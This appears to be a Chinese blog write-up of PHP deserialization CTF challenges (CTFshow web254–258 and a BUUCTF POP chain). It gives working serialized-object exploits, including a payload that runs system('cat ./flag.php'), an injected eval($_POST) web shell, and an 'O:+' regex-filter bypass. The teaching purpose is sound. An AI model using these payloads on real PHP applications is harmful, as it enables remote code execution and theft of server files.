PHP反序列化漏洞的分析以及利用

序列化与反序列化

序列化:把对象转换为可传输的字节序列的过程。
反序列化:把字节序列转换为对象的过程。
目的:实现对象的跨平台储存,网络传输。

PHP中的函数

serialize:序列化
unserialize:反序列化

<?php
$aa=60;
echo serialize($aa);
?>
->i:60

tip:对字符串进行序列化后是它本身(ctfshow web260)

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}
直接构造 /?ctfshow=ctfshow_i_love_36D

1.jpg

<?php
$a = array('hello','hi');
$a_ser = serialize($a);
echo $a_ser;
?>
#结果:a:2:{i:0;s:5:"hello";i:1;s:2:"hi";}

来具体分析一下:a:2:{i:0;s:5:“hello”;i:1;s:2:“hi”;}
2:表示a有两个属性
i:表示int型数据;0:表示下标0
s:表示string字符串数组;5:长度为5

php数据格式列表:

a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string

反序列化中常见的魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //析构函数,对象被销毁时触发
__construct() //构造函数,当创建对象时自动调用。
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

CTFshow-254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

首先分析一下:目标为‘flag.php’文件,
当isvip为true的时候,会输出flag
当username=password即可

?username=xxxxxx&password=xxxxxx

2.jpg

web 255

本题开始反序列化:

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);   

跟上一题一样,也是先将isvip->true
但是比上一题多了一步
u s e r = u n s e r i a l i z e ( user = unserialize( user=unserialize(_COOKIE[‘user’]);
会将user进行反序列化操作:
所以说,只是构造:

?username=xxxxxx&password=xxxxxx

是不够的
因此,我们可以,构造一个调用了对象ctfShowUser并把变量isvip值设置为True的序列化字符串,而后将其传入到cookie中的user变量值处。

<?php
class ctfShowUser{
    public $isVip=true;
} 

$a = new ctfShowUser();
echo urlencode(serialize($a));
?>

在这里插入图片描述

最后抓包传参:
在这里插入图片描述

在这里插入图片描述

web 256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}




 if($this->username!==$this->password)
<?php
class ctfShowUser{
	public $username='x';
    public $password='y'; 
    public $isVip=true;
} 

$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
# /?username=x&password=y

6.jpg

在这里插入图片描述

8.jpg

web 257

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}



主要利用:

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

中的eval 去执行命令:构造下列代码去获取cookie

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=true;
    private $class = 'info';
​
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    private $code='system("cat ./flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}
echo(urlencode(serialize(new ctfShowUser())));

web 258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

##
<?php

class ctfShowUser{
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }

}

class backDoor{
    public $code = 'phpinfo();eval($_POST["kradress"]);';
    public function getInfo(){
        eval($this->code);
    }
}

// O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:35:"phpinfo();eval($_POST["kradress"]);";}}
echo serialize(new ctfShowUser());



多了一个正则过滤

<?php

class ctfShowUser{
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }

}

class backDoor{
    public $code = 'phpinfo();eval($_POST["kradress"]);';
    public function getInfo(){
        eval($this->code);
    }
}



$a = serialize(new ctfShowUser());

$a = str_replace('O:', 'O:+', $a);

echo urlencode($a);


buuctf

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这道题主要是 pop链
$a=new Show();
$b=new Show();
a − > s o u r c e = a->source= a>source=b;
b − > s t r = n e w T e s t ( ) ; ( b->str=new Test(); ( b>str=newTest();(b->str)->p=new Modifier();

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}




class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}
class Test{
    public $p;
	
}


$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();


echo urlencode(serialize($a));

?>

在这里插入图片描述

<?php class Flag{ private $flag= "flag{e7aa43ad-56b2-45f2-a653-b9f69273c32e}"; } echo "Help Me Find FLAG!"; ?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
关于PHP反序列化漏洞的习题,可以使用GlobIterator类和ArrayObject类来进行练习。其中,GlobIterator类的题目是被遗忘的反序列化,ArrayObject类的题目是easy_phpPHP反序列化漏洞是一种安全漏洞,其中一个具体的例子是CVE-2016-7124,该漏洞存在于php5<5.6.25和php7<7.0.10的版本中。漏洞的产生原因是由于反序列化时对输入的不当处理所导致的。 了解PHP反序列化漏洞的习题,需要掌握类与对象、反序列化基础知识以及一些与魔术方法相关的内容,如构造和折构方法(__construct()、__destruct())、序列化和反序列化方法(__sleep()、__wakeup())、错误调用魔术方法(__callStatic()、__get()、__set()、__isset()、__unset()、__clone())等。反序列化漏洞的成因较复杂,例如POP链构造、POC链反推法等。 此外,还可以学习字符串逃逸和__wakeup魔术方法绕过漏洞的相关知识。其中,__wakeup魔术方法绕过漏洞的产生原因是__wakeup方法可以在反序列化时被绕过,从而可能导致安全漏洞PHP反序列化漏洞还可以通过引用的利用方法来进行学习。另外,还可以学习SESSION反序列化漏洞和phar反序列化漏洞的习题。其中,SESSION反序列化漏洞涉及到不同处理器的不同储存格式,而phar反序列化漏洞需要了解phar的构造和使用条件。 通过这些习题的学习,可以更好地理解PHP反序列化漏洞以及如何进行防范和修复。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [PHP反序列化漏洞(最全面最详细有例题)](https://blog.csdn.net/m0_73728268/article/details/129893800)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值